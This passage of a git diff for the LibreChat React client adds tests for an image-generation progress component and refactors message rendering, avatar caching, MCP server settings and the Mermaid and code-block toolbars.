+ cn: (...classes: (string | boolean | undefined | null)[]) =>
+ classes
+ .flat(Infinity)
+ .filter((c): c is string => typeof c === 'string' && c.length > 0)
+ .join(' '),
+}));
+
+jest.mock('~/hooks', () => ({
+ useLocalize: () => (key: string) => key,
+}));
+
+jest.mock('~/components/Chat/Messages/Content/Image', () => ({
+ __esModule: true,
+ default: ({
+ altText,
+ imagePath,
+ className,
+ }: {
+ altText: string;
+ imagePath: string;
+ className?: string;
+ }) => (
+
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ PixelCard: ({ progress }: { progress: number }) => (
+
+ ),
+}));
+
+jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
+ __esModule: true,
+ default: ({ progress, error }: { progress: number; error: boolean }) => (
+
+ ),
+}));
+
+describe('OpenAIImageGen', () => {
+ const defaultProps = {
+ initialProgress: 0.1,
+ isSubmitting: true,
+ toolName: 'image_gen_oai',
+ args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
+ output: null as string | null,
+ attachments: undefined,
+ };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ jest.useFakeTimers();
+ });
+
+ afterEach(() => {
+ jest.useRealTimers();
+ });
+
+ describe('image preloading', () => {
+ it('keeps Image mounted during generation (progress < 1)', () => {
+ render( );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ });
+
+ it('hides Image with invisible absolute while progress < 1', () => {
+ render( );
+ const image = screen.getByTestId('image-component');
+ expect(image.className).toContain('invisible');
+ expect(image.className).toContain('absolute');
+ });
+
+ it('shows Image without hiding classes when progress >= 1', () => {
+ render(
+ ,
+ );
+ const image = screen.getByTestId('image-component');
+ expect(image.className).not.toContain('invisible');
+ expect(image.className).not.toContain('absolute');
+ });
+ });
+
+ describe('PixelCard visibility', () => {
+ it('shows PixelCard when progress < 1', () => {
+ render( );
+ expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
+ });
+
+ it('hides PixelCard when progress >= 1', () => {
+ render( );
+ expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
+ });
+ });
+
+ describe('layout classes', () => {
+ it('applies max-h-[45vh] to the outer container', () => {
+ const { container } = render( );
+ const outerDiv = container.querySelector('[class*="max-h-"]');
+ expect(outerDiv?.className).toContain('max-h-[45vh]');
+ });
+
+ it('applies h-[45vh] w-full to inner container during loading', () => {
+ const { container } = render( );
+ const innerDiv = container.querySelector('[class*="h-[45vh]"]');
+ expect(innerDiv).not.toBeNull();
+ expect(innerDiv?.className).toContain('w-full');
+ });
+
+ it('applies w-auto to inner container when complete', () => {
+ const { container } = render(
+ ,
+ );
+ const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
+ expect(overflowDiv?.className).toContain('w-auto');
+ });
+ });
+
+ describe('args parsing', () => {
+ it('parses quality from args', () => {
+ render( );
+ expect(screen.getByTestId('progress-text')).toBeInTheDocument();
+ });
+
+ it('handles invalid JSON args gracefully', () => {
+ const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
+ render( );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ consoleSpy.mockRestore();
+ });
+
+ it('handles object args', () => {
+ render(
+ ,
+ );
+ expect(screen.getByTestId('image-component')).toBeInTheDocument();
+ });
+ });
+
+ describe('cancellation', () => {
+ it('shows error state when output contains error', () => {
+ render(
+ ,
+ );
+ const progressText = screen.getByTestId('progress-text');
+ expect(progressText).toHaveAttribute('data-error', 'true');
+ });
+
+ it('shows cancelled state when not submitting and incomplete', () => {
+ render( );
+ const progressText = screen.getByTestId('progress-text');
+ expect(progressText).toHaveAttribute('data-error', 'true');
+ });
+ });
+});
diff --git a/client/src/components/Chat/Messages/HoverButtons.tsx b/client/src/components/Chat/Messages/HoverButtons.tsx
index 5d60223d08..180e8b599e 100644
--- a/client/src/components/Chat/Messages/HoverButtons.tsx
+++ b/client/src/components/Chat/Messages/HoverButtons.tsx
@@ -18,7 +18,7 @@ type THoverButtons = {
message: TMessage;
regenerate: () => void;
handleContinue: (e: React.MouseEvent) => void;
- latestMessage: TMessage | null;
+ latestMessageId?: string;
isLast: boolean;
index: number;
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
@@ -119,7 +119,7 @@ const HoverButtons = ({
message,
regenerate,
handleContinue,
- latestMessage,
+ latestMessageId,
isLast,
handleFeedback,
}: THoverButtons) => {
@@ -143,7 +143,7 @@ const HoverButtons = ({
searchResult: message.searchResult,
finish_reason: message.finish_reason,
isCreatedByUser: message.isCreatedByUser,
- latestMessageId: latestMessage?.messageId,
+ latestMessageId: latestMessageId,
});
const {
@@ -239,7 +239,7 @@ const HoverButtons = ({
messageId={message.messageId}
conversationId={conversation.conversationId}
forkingSupported={forkingSupported}
- latestMessageId={latestMessage?.messageId}
+ latestMessageId={latestMessageId}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/Message.tsx b/client/src/components/Chat/Messages/Message.tsx
index 78e08e3631..f9db38fdab 100644
--- a/client/src/components/Chat/Messages/Message.tsx
+++ b/client/src/components/Chat/Messages/Message.tsx
@@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common';
import MessageRender from './ui/MessageRender';
import MultiMessage from './MultiMessage';
-const MessageContainer = React.memo(
- ({
- handleScroll,
- children,
- }: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
- }) => {
- return (
-
- {children}
-
- );
- },
-);
+const MessageContainer = React.memo(function MessageContainer({
+ handleScroll,
+ children,
+}: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+}) {
+ return (
+
+ {children}
+
+ );
+});
export default function Message(props: TMessageProps) {
const { conversation, handleScroll } = useMessageProcess({
diff --git a/client/src/components/Chat/Messages/MessageParts.tsx b/client/src/components/Chat/Messages/MessageParts.tsx
index 0005ee0499..7aa73a54e6 100644
--- a/client/src/components/Chat/Messages/MessageParts.tsx
+++ b/client/src/components/Chat/Messages/MessageParts.tsx
@@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
handleScroll,
conversation,
isSubmitting,
- latestMessage,
+ latestMessageId,
handleContinue,
copyToClipboard,
regenerateMessage,
@@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) {
)}
-
+
}
/>
{isLast && isSubmitting ? (
-
+
) : (
regenerateMessage()}
copyToClipboard={copyToClipboard}
handleContinue={handleContinue}
- latestMessage={latestMessage}
+ latestMessageId={latestMessageId}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/ui/MessageRender.tsx b/client/src/components/Chat/Messages/ui/MessageRender.tsx
index 0d40b4a98f..e261a576bd 100644
--- a/client/src/components/Chat/Messages/ui/MessageRender.tsx
+++ b/client/src/components/Chat/Messages/ui/MessageRender.tsx
@@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil';
import { type TMessage } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common';
import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
+import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
-import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import SubRow from '~/components/Chat/Messages/SubRow';
import { cn, getMessageAriaLabel } from '~/utils';
import { fontSizeAtom } from '~/store/fontSize';
@@ -23,180 +23,183 @@ type MessageRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const MessageRender = memo(
- ({
+const MessageRender = memo(function MessageRender({
+ message: msg,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
+ currentEditId,
+ setCurrentEditId,
+ isSubmitting = false,
+}: MessageRenderProps) {
+ const localize = useLocalize();
+ const {
+ ask,
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
+ messageLabel,
+ handleFeedback,
+ handleContinue,
+ latestMessageId,
+ copyToClipboard,
+ regenerateMessage,
+ latestMessageDepth,
+ } = useMessageActions({
message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
currentEditId,
setCurrentEditId,
- isSubmitting = false,
- }: MessageRenderProps) => {
- const localize = useLocalize();
- const {
- ask,
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLast = useMemo(
+ () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+ [hasNoChildren, msg?.depth, latestMessageDepth],
+ );
+ const isLatestMessage = msg?.messageId === latestMessageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
messageLabel,
- latestMessage,
- handleFeedback,
- handleContinue,
- copyToClipboard,
- regenerateMessage,
- } = useMessageActions({
- message: msg,
- currentEditId,
- setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLast = useMemo(
- () => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
- [hasNoChildren, msg?.depth, latestMessage?.depth],
- );
- const isLatestMessage = msg?.messageId === latestMessage?.messageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+ const { hasParallelContent } = useContentMetadata(msg);
+ const messageId = msg?.messageId ?? '';
+ const messageContextValue = useMemo(
+ () => ({
+ messageId,
+ isLatestMessage,
+ isExpanded: false as const,
+ isSubmitting: effectiveIsSubmitting,
+ conversationId: conversation?.conversationId,
+ }),
+ [messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
+ );
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
- messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ if (!msg) {
+ return null;
+ }
- const { hasParallelContent } = useContentMetadata(msg);
-
- if (!msg) {
- return null;
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
}
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
- }
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ return (
+
+ {!hasParallelContent && (
+
+ )}
- return (
{!hasParallelContent && (
-
+
{messageLabel}
)}
-
- {!hasParallelContent && (
-
{messageLabel}
- )}
-
-
-
-
- ({}))}
- />
-
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
- )}
+
+
+
+ ({}))}
+ />
+
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
- );
- },
-);
+
+ );
+});
+MessageRender.displayName = 'MessageRender';
export default MessageRender;
diff --git a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
index d67424a46f..e60dc28278 100644
--- a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
+++ b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
@@ -1,7 +1,9 @@
import { memo } from 'react';
-const PlaceholderRow = memo(() => {
- return
;
+/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
+const PlaceholderRow = memo(function PlaceholderRow() {
+ return
;
});
+PlaceholderRow.displayName = 'PlaceholderRow';
export default PlaceholderRow;
diff --git a/client/src/components/Chat/TemporaryChat.tsx b/client/src/components/Chat/TemporaryChat.tsx
index d09cc73289..a4d72d081e 100644
--- a/client/src/components/Chat/TemporaryChat.tsx
+++ b/client/src/components/Chat/TemporaryChat.tsx
@@ -1,8 +1,8 @@
import React from 'react';
+import { useRecoilValue } from 'recoil';
import { TooltipAnchor } from '@librechat/client';
import { MessageCircleDashed } from 'lucide-react';
import { useRecoilState, useRecoilCallback } from 'recoil';
-import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
import store from '~/store';
@@ -10,13 +10,8 @@ import store from '~/store';
export function TemporaryChat() {
const localize = useLocalize();
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
- const { conversation, isSubmitting } = useChatContext();
-
- const temporaryBadge = {
- id: 'temporary',
- atom: store.isTemporary,
- isAvailable: true,
- };
+ const conversation = useRecoilValue(store.conversationByIndex(0));
+ const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
const handleBadgeToggle = useRecoilCallback(
() => () => {
diff --git a/client/src/components/Conversations/Conversations.tsx b/client/src/components/Conversations/Conversations.tsx
index fc66c0977a..c7eb4d53ef 100644
--- a/client/src/components/Conversations/Conversations.tsx
+++ b/client/src/components/Conversations/Conversations.tsx
@@ -384,6 +384,7 @@ const Conversations: FC
= ({
onRowsRendered={handleRowsRendered}
tabIndex={-1}
style={{ outline: 'none', scrollbarGutter: 'stable' }}
+ containerRole="rowgroup"
/>
)}
diff --git a/client/src/components/Endpoints/Icon.tsx b/client/src/components/Endpoints/Icon.tsx
index 3256145bfb..fae0f286d3 100644
--- a/client/src/components/Endpoints/Icon.tsx
+++ b/client/src/components/Endpoints/Icon.tsx
@@ -1,64 +1,102 @@
-import React, { memo, useState } from 'react';
+import React, { memo } from 'react';
import { UserIcon, useAvatar } from '@librechat/client';
-import type { TUser } from 'librechat-data-provider';
import type { IconProps } from '~/common';
import MessageEndpointIcon from './MessageEndpointIcon';
import { useAuthContext } from '~/hooks/AuthContext';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
+type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
+
+/**
+ * Caches the resolved avatar decision per user ID.
+ * Invalidated when `user.avatar` changes (e.g., settings upload).
+ * Tracks failed image URLs so they fall back to SVG permanently for the session.
+ */
+const avatarCache = new Map<
+ string,
+ { avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
+>();
+const failedUrls = new Set();
+
+function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
+ if (!userId) {
+ const imgSrc = userAvatar || avatarSrc;
+ return imgSrc && !failedUrls.has(imgSrc)
+ ? { type: 'image', src: imgSrc }
+ : { type: 'fallback' };
+ }
+
+ const cached = avatarCache.get(userId);
+ if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
+ return cached.resolved;
+ }
+
+ const imgSrc = userAvatar || avatarSrc;
+ const resolved: ResolvedAvatar =
+ imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
+
+ avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
+ return resolved;
+}
+
+function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
+ failedUrls.add(src);
+ const fallback: ResolvedAvatar = { type: 'fallback' };
+ const cached = avatarCache.get(userId);
+ if (cached) {
+ avatarCache.set(userId, { ...cached, resolved: fallback });
+ }
+ return fallback;
+}
+
type UserAvatarProps = {
size: number;
- user?: TUser;
+ avatar: string;
avatarSrc: string;
+ userId: string;
username: string;
className?: string;
};
-const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => {
- const [imageError, setImageError] = useState(false);
+const UserAvatar = memo(
+ ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
+ const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
- const handleImageError = () => {
- setImageError(true);
- };
+ React.useEffect(() => {
+ setResolved(resolveAvatar(userId, avatar, avatarSrc));
+ }, [userId, avatar, avatarSrc]);
- const renderDefaultAvatar = () => (
-
-
-
- );
-
- return (
-
- {(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) ||
- imageError ? (
- renderDefaultAvatar()
- ) : (
-
- )}
-
- );
-});
+ return (
+
+ {resolved.type === 'image' ? (
+
setResolved(markAvatarFailed(userId, resolved.src))}
+ />
+ ) : (
+
+
+
+ )}
+
+ );
+ },
+);
UserAvatar.displayName = 'UserAvatar';
@@ -74,9 +112,10 @@ const Icon: React.FC = memo((props) => {
return (
);
diff --git a/client/src/components/MCP/MCPConfigDialog.tsx b/client/src/components/MCP/MCPConfigDialog.tsx
index a3727971e9..f1079c2799 100644
--- a/client/src/components/MCP/MCPConfigDialog.tsx
+++ b/client/src/components/MCP/MCPConfigDialog.tsx
@@ -24,6 +24,7 @@ interface MCPConfigDialogProps {
serverName: string;
serverStatus?: MCPServerStatus;
conversationId?: string | null;
+ storageContextKey?: string;
}
export default function MCPConfigDialog({
@@ -36,6 +37,7 @@ export default function MCPConfigDialog({
serverName,
serverStatus,
conversationId,
+ storageContextKey,
}: MCPConfigDialogProps) {
const localize = useLocalize();
@@ -167,6 +169,7 @@ export default function MCPConfigDialog({
0}
/>
diff --git a/client/src/components/MCP/MCPServerMenuItem.tsx b/client/src/components/MCP/MCPServerMenuItem.tsx
index 2291a5233e..7fcb773bb9 100644
--- a/client/src/components/MCP/MCPServerMenuItem.tsx
+++ b/client/src/components/MCP/MCPServerMenuItem.tsx
@@ -46,7 +46,6 @@ export default function MCPServerMenuItem({
name="mcp-servers"
value={server.serverName}
checked={isSelected}
- setValueOnChange={false}
onChange={() => onToggle(server.serverName)}
aria-label={accessibleLabel}
className={cn(
diff --git a/client/src/components/MCP/ServerInitializationSection.tsx b/client/src/components/MCP/ServerInitializationSection.tsx
index b5f71335d7..c080866b3d 100644
--- a/client/src/components/MCP/ServerInitializationSection.tsx
+++ b/client/src/components/MCP/ServerInitializationSection.tsx
@@ -9,12 +9,14 @@ interface ServerInitializationSectionProps {
requiresOAuth: boolean;
hasCustomUserVars?: boolean;
conversationId?: string | null;
+ storageContextKey?: string;
}
export default function ServerInitializationSection({
serverName,
requiresOAuth,
conversationId,
+ storageContextKey,
sidePanel = false,
hasCustomUserVars = false,
}: ServerInitializationSectionProps) {
@@ -28,7 +30,7 @@ export default function ServerInitializationSection({
initializeServer,
availableMCPServers,
revokeOAuthForServer,
- } = useMCPServerManager({ conversationId });
+ } = useMCPServerManager({ conversationId, storageContextKey });
const { connectionStatus } = useMCPConnectionStatus({
enabled: !!availableMCPServers && availableMCPServers.length > 0,
diff --git a/client/src/components/Messages/Content/CodeBlock.tsx b/client/src/components/Messages/Content/CodeBlock.tsx
index eae84e49a9..7407098c5e 100644
--- a/client/src/components/Messages/Content/CodeBlock.tsx
+++ b/client/src/components/Messages/Content/CodeBlock.tsx
@@ -23,125 +23,138 @@ interface FloatingCodeBarProps extends CodeBarProps {
isVisible: boolean;
}
-const CodeBar: React.FC = React.memo(
- ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true }) => {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- return (
-
-
{lang}
- {plugin === true ? (
-
- ) : (
-
- {allowExecution === true && (
-
+const CodeBar: React.FC
= React.memo(function CodeBar({
+ lang,
+ error,
+ codeRef,
+ blockIndex,
+ plugin = null,
+ allowExecution = true,
+}) {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ return (
+
+
{lang}
+ {plugin === true ? (
+
+ ) : (
+
+ {allowExecution === true && (
+
+ )}
+ {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
+ onClick={async () => {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
- setTimeout(() => {
- setIsCopied(false);
- }, 3000);
- }
- }}
- >
- {isCopied ? : }
- {error !== true && (
-
- {localize('com_ui_copy_code')}
-
- {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
-
-
- )}
-
-
- )}
-
- );
- },
-);
-
-const FloatingCodeBar: React.FC = React.memo(
- ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true, isVisible }) => {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- const copyButtonRef = useRef(null);
-
- const handleCopy = useCallback(() => {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- const wasFocused = document.activeElement === copyButtonRef.current;
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
- if (wasFocused) {
- requestAnimationFrame(() => {
- copyButtonRef.current?.focus();
- });
- }
-
- setTimeout(() => {
- const focusedElement = document.activeElement as HTMLElement | null;
- setIsCopied(false);
- requestAnimationFrame(() => {
- focusedElement?.focus();
- });
- }, 3000);
- }
- }, [codeRef]);
-
- return (
-
- {plugin === true ? (
-
- ) : (
- <>
- {allowExecution === true && (
-
- )}
-
- {isCopied ? (
-
- ) : (
-
- )}
-
+ setTimeout(() => {
+ setIsCopied(false);
+ }, 3000);
}
- />
- >
- )}
-
- );
- },
-);
+ }}
+ >
+ {isCopied ? : }
+ {error !== true && (
+
+ {localize('com_ui_copy_code')}
+
+ {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+
+
+ )}
+
+
+ )}
+
+ );
+});
+CodeBar.displayName = 'CodeBar';
+
+const FloatingCodeBar: React.FC = React.memo(function FloatingCodeBar({
+ lang,
+ error,
+ codeRef,
+ blockIndex,
+ plugin = null,
+ allowExecution = true,
+ isVisible,
+}) {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ const copyButtonRef = useRef(null);
+
+ const handleCopy = useCallback(() => {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ const wasFocused = document.activeElement === copyButtonRef.current;
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
+ if (wasFocused) {
+ requestAnimationFrame(() => {
+ copyButtonRef.current?.focus();
+ });
+ }
+
+ setTimeout(() => {
+ const focusedElement = document.activeElement as HTMLElement | null;
+ setIsCopied(false);
+ requestAnimationFrame(() => {
+ focusedElement?.focus();
+ });
+ }, 3000);
+ }
+ }, [codeRef]);
+
+ return (
+
+ {plugin === true ? (
+
+ ) : (
+ <>
+ {allowExecution === true && (
+
+ )}
+
+ {isCopied ? (
+
+ ) : (
+
+ )}
+
+ }
+ />
+ >
+ )}
+
+ );
+});
+FloatingCodeBar.displayName = 'FloatingCodeBar';
const CodeBlock: React.FC = ({
lang,
diff --git a/client/src/components/Messages/Content/Mermaid.tsx b/client/src/components/Messages/Content/Mermaid.tsx
index 9d830b3fdc..03037f4427 100644
--- a/client/src/components/Messages/Content/Mermaid.tsx
+++ b/client/src/components/Messages/Content/Mermaid.tsx
@@ -12,6 +12,7 @@ import {
OGDialogContent,
} from '@librechat/client';
import { useLocalize, useDebouncedMermaid } from '~/hooks';
+import { fixSubgraphTitleContrast } from '~/utils/mermaid';
import MermaidHeader from './MermaidHeader';
import cn from '~/utils/cn';
@@ -181,6 +182,8 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
svgElement.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
}
+ fixSubgraphTitleContrast(svgElement);
+
return {
processedSvg: new XMLSerializer().serializeToString(doc),
parsedDimensions: dimensions,
@@ -672,7 +675,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
@@ -811,7 +814,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
diff --git a/client/src/components/Messages/Content/MermaidHeader.tsx b/client/src/components/Messages/Content/MermaidHeader.tsx
index 03b49b6558..2d3a416a5a 100644
--- a/client/src/components/Messages/Content/MermaidHeader.tsx
+++ b/client/src/components/Messages/Content/MermaidHeader.tsx
@@ -1,7 +1,7 @@
import React, { memo, useState, useCallback, useRef } from 'react';
import copy from 'copy-to-clipboard';
import { Expand, ChevronUp, ChevronDown } from 'lucide-react';
-import { Button, Clipboard, CheckMark } from '@librechat/client';
+import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
import { useLocalize } from '~/hooks';
import cn from '~/utils/cn';
@@ -15,8 +15,8 @@ interface MermaidHeaderProps {
onToggleCode: () => void;
}
-const buttonClasses =
- 'h-auto gap-1 rounded-sm px-1 py-0 text-xs text-gray-200 hover:bg-gray-600 hover:text-white focus-visible:ring-white focus-visible:ring-offset-0';
+const iconBtnClass =
+ 'flex items-center justify-center rounded p-1.5 text-text-secondary hover:bg-surface-hover focus-visible:outline focus-visible:outline-white';
const MermaidHeader: React.FC = memo(
({
@@ -49,46 +49,58 @@ const MermaidHeader: React.FC = memo(
return (
-
{localize('com_ui_mermaid')}
-
- {showExpandButton && onExpand && (
-
+
+
+ }
+ />
+ )}
+
-
- {localize('com_ui_expand')}
-
- )}
-
- {showCode ? : }
- {showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
-
-
- {isCopied ? : }
- {localize('com_ui_copy_code')}
-
-
+ {showCode ?
:
}
+
+ }
+ />
+
+ {isCopied ? (
+
+ ) : (
+
+ )}
+
+ }
+ />
);
},
diff --git a/client/src/components/Messages/ContentRender.tsx b/client/src/components/Messages/ContentRender.tsx
index 5724ff77c2..4114baefe4 100644
--- a/client/src/components/Messages/ContentRender.tsx
+++ b/client/src/components/Messages/ContentRender.tsx
@@ -22,176 +22,175 @@ type ContentRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const ContentRender = memo(
- ({
+const ContentRender = memo(function ContentRender({
+ message: msg,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
+ currentEditId,
+ setCurrentEditId,
+ isSubmitting = false,
+}: ContentRenderProps) {
+ const localize = useLocalize();
+ const { attachments, searchResults } = useAttachments({
+ messageId: msg?.messageId,
+ attachments: msg?.attachments,
+ });
+ const {
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
+ messageLabel,
+ handleContinue,
+ handleFeedback,
+ latestMessageId,
+ copyToClipboard,
+ regenerateMessage,
+ latestMessageDepth,
+ } = useMessageActions({
message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
+ searchResults,
currentEditId,
setCurrentEditId,
- isSubmitting = false,
- }: ContentRenderProps) => {
- const localize = useLocalize();
- const { attachments, searchResults } = useAttachments({
- messageId: msg?.messageId,
- attachments: msg?.attachments,
- });
- const {
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const isLast = useMemo(
+ () => !(msg?.children?.length ?? 0) && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+ [msg?.children, msg?.depth, latestMessageDepth],
+ );
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLatestMessage = msg?.messageId === latestMessageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
messageLabel,
- latestMessage,
- handleContinue,
- handleFeedback,
